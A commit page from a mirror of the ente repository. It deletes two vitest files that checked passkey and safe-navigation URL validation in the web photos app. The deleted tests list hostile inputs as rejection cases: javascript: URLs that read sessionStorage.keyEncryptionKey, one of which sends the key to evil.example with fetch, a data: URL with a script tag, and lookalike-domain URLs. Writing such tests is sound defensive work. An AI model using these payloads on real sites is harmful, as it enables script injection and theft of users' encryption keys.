Skip to content

armgit / ente

Public Imported from GitHub
0

πŸ’š End-to-end encrypted cloud for everything.

chore(web): remove navigation regression tests

AswinAsok89e1c5fa54c1
diff --git a/web/apps/photos/tests/passkey-navigation.test.ts b/web/apps/photos/tests/passkey-navigation.test.ts
deleted file mode 100644
index a66cb2b404..0000000000
--- a/web/apps/photos/tests/passkey-navigation.test.ts
+++ /dev/null
@@ -1,145 +0,0 @@
-import {
- openAccountsManagePasskeysPage,
- openPasskeyVerificationURL,
- passkeyVerificationRedirectURL,
-} from "ente-accounts/services/passkey";
-import { afterEach, beforeEach, expect, test, vi } from "vitest";
-
-vi.mock("ente-accounts/services/accounts-db", () => ({}));
-vi.mock("ente-accounts/services/user", () => ({}));
-vi.mock("ente-base/app", () => ({
- clientPackageName: "io.ente.photos",
- isDesktop: false,
-}));
-vi.mock("ente-base/http", () => ({
- authenticatedRequestHeaders: vi.fn(),
- ensureOk: vi.fn(),
-}));
-vi.mock("ente-base/origins", () => ({ apiURL: (path: string) => path }));
-vi.mock("ente-base/env", () => ({
- isDevBuild: false,
- buildEnvAccountsOrigin: undefined,
-}));
-vi.mock("ente-accounts/services/redirect", () => ({}));
-
-const maliciousURL = "javascript:alert(sessionStorage.keyEncryptionKey)//";
-const setItem = vi.fn();
-const open = vi.fn();
-const location = { origin: "https://photos.ente.com", href: "" };
-
-beforeEach(() => {
- location.href = "";
- vi.stubGlobal("window", { location, open });
- vi.stubGlobal("sessionStorage", { setItem });
-});
-afterEach(() => {
- vi.unstubAllGlobals();
- vi.clearAllMocks();
-});
-
-test("rejects the reported payload before constructing a login redirect", () => {
- expect(() =>
- passkeyVerificationRedirectURL(maliciousURL, "session"),
- ).toThrow();
-});
-
-test.each(["https://accounts.ente.com", "https://accounts.ente.io/"])(
- "preserves login parameters for %s",
- (base) => {
- const url = new URL(
- passkeyVerificationRedirectURL(base, "session & id"),
- );
- expect(url.pathname).toBe("/passkeys/verify");
- expect(url.searchParams.get("passkeySessionID")).toBe("session & id");
- expect(url.searchParams.get("redirect")).toBe(
- "https://photos.ente.com/passkeys/finish",
- );
- expect(url.searchParams.get("recover")).toBe(
- "https://photos.ente.com/passkeys/recover",
- );
- },
-);
-
-test.each([false, true])(
- "rejects unsafe navigation with electron=%s",
- (desktop) => {
- vi.stubGlobal("electron", desktop ? {} : undefined);
- expect(() =>
- openPasskeyVerificationURL({
- passkeySessionID: "session",
- url: maliciousURL,
- }),
- ).toThrow();
- expect(setItem).not.toHaveBeenCalled();
- expect(open).not.toHaveBeenCalled();
- expect(location.href).toBe("");
- },
-);
-
-test.each([false, true])(
- "opens a valid login URL with electron=%s",
- (desktop) => {
- vi.stubGlobal("electron", desktop ? {} : undefined);
- const url = passkeyVerificationRedirectURL(
- "https://accounts.ente.com",
- "session",
- );
- openPasskeyVerificationURL({ passkeySessionID: "session", url });
- expect(setItem).toHaveBeenCalledWith(
- "inflightPasskeySessionID",
- "session",
- );
- if (desktop) expect(open).toHaveBeenCalledWith(url);
- else expect(location.href).toBe(url);
- },
-);
-
-test.each([maliciousURL, "https://evil.example"])(
- "rejects an unsafe management destination %s",
- async (accountsUrl) => {
- vi.stubGlobal(
- "fetch",
- vi
- .fn()
- .mockResolvedValueOnce({
- json: () =>
- Promise.resolve({ isPasskeyRecoveryEnabled: true }),
- })
- .mockResolvedValueOnce({
- json: () =>
- Promise.resolve({
- accountsUrl,
- accountsToken: "token",
- }),
- }),
- );
- await expect(openAccountsManagePasskeysPage(vi.fn())).rejects.toThrow();
- expect(open).not.toHaveBeenCalled();
- },
-);
-
-test("opens the trusted management URL with encoded token parameters", async () => {
- vi.stubGlobal(
- "fetch",
- vi
- .fn()
- .mockResolvedValueOnce({
- json: () => Promise.resolve({ isPasskeyRecoveryEnabled: true }),
- })
- .mockResolvedValueOnce({
- json: () =>
- Promise.resolve({
- accountsUrl:
- "https://accounts.ente.com/?ignored=true#old",
- accountsToken: "token & value",
- }),
- }),
- );
- await openAccountsManagePasskeysPage(vi.fn());
- const url = new URL(open.mock.calls[0]![0] as string);
- expect(url.origin).toBe("https://accounts.ente.com");
- expect(url.pathname).toBe("/passkeys");
- expect(url.searchParams.get("token")).toBe("token & value");
- expect(url.searchParams.has("ignored")).toBe(false);
- expect(url.hash).toBe("");
-});
diff --git a/web/apps/photos/tests/safe-navigation.test.ts b/web/apps/photos/tests/safe-navigation.test.ts
deleted file mode 100644
index 5e1b730b1c..0000000000
--- a/web/apps/photos/tests/safe-navigation.test.ts
+++ /dev/null
@@ -1,80 +0,0 @@
-import {
- accountsNavigationURL,
- trustedNavigationURL,
-} from "ente-base/safe-navigation";
-import { afterEach, expect, test, vi } from "vitest";
-
-const env = vi.hoisted(() => ({
- buildEnvAccountsOrigin: undefined as string | undefined,
- isDevBuild: false,
-}));
-vi.mock("ente-base/env", () => env);
-
-afterEach(() => {
- env.buildEnvAccountsOrigin = undefined;
- env.isDevBuild = false;
-});
-
-test.each([
- "javascript:fetch('https://evil.example/?k='+sessionStorage.keyEncryptionKey)//",
- "JaVaScRiPt:alert(1)//",
- "\njavascript:alert(1)//",
- "java\tscript:alert(1)//",
- "data:text/html,<script>alert(1)</script>",
- "http://accounts.ente.com/passkeys",
- "https://accounts.ente.com.evil.example/passkeys",
- "https://[email protected]/passkeys",
- "https://[email protected]/passkeys",
- "https://accounts.ente.com:444/passkeys",
- "https://evil.example/passkeys",
- "//accounts.ente.com/passkeys",
- "/passkeys",
- "http://localhost:3001/passkeys",
-])("rejects an untrusted Accounts destination: %s", (value) => {
- expect(() => accountsNavigationURL(value)).toThrow();
-});
-
-test.each(["https://accounts.ente.com", "https://accounts.ente.io"])(
- "accepts the hosted Accounts origin %s",
- (origin) => {
- expect(
- accountsNavigationURL(`${origin}/passkeys?token=test`).href,
- ).toBe(`${origin}/passkeys?token=test`);
- },
-);
-
-test("a self-hosted build trusts only its configured Accounts origin", () => {
- env.buildEnvAccountsOrigin = "https://accounts.example.org";
- expect(
- accountsNavigationURL("https://accounts.example.org/passkeys").origin,
- ).toBe("https://accounts.example.org");
- expect(() => accountsNavigationURL("https://accounts.ente.com")).toThrow();
-});
-
-test("local HTTP needs both an explicit origin and a development build", () => {
- env.buildEnvAccountsOrigin = "http://localhost:3001";
- expect(() => accountsNavigationURL("http://localhost:3001")).toThrow();
- env.isDevBuild = true;
- expect(accountsNavigationURL("http://localhost:3001/passkeys").origin).toBe(
- "http://localhost:3001",
- );
- expect(() => accountsNavigationURL("http://localhost:3002")).toThrow();
- env.buildEnvAccountsOrigin = "http://accounts.example.org";
- expect(() =>
- accountsNavigationURL("http://accounts.example.org"),
- ).toThrow();
-});
-
-test("billing portal validation preserves Stripe sessions and rejects other origins", () => {
- const origins = ["https://billing.stripe.com"];
- const portal = "https://billing.stripe.com/p/session/test?locale=en";
- expect(trustedNavigationURL(portal, origins).href).toBe(portal);
- for (const value of [
- "javascript:alert(1)",
- "http://billing.stripe.com/p/session/test",
- "https://billing.stripe.com.evil.example/p/session/test",
- "https://evil.example/p/session/test",
- ]) {
- expect(() => trustedNavigationURL(value, origins)).toThrow();
- }
-});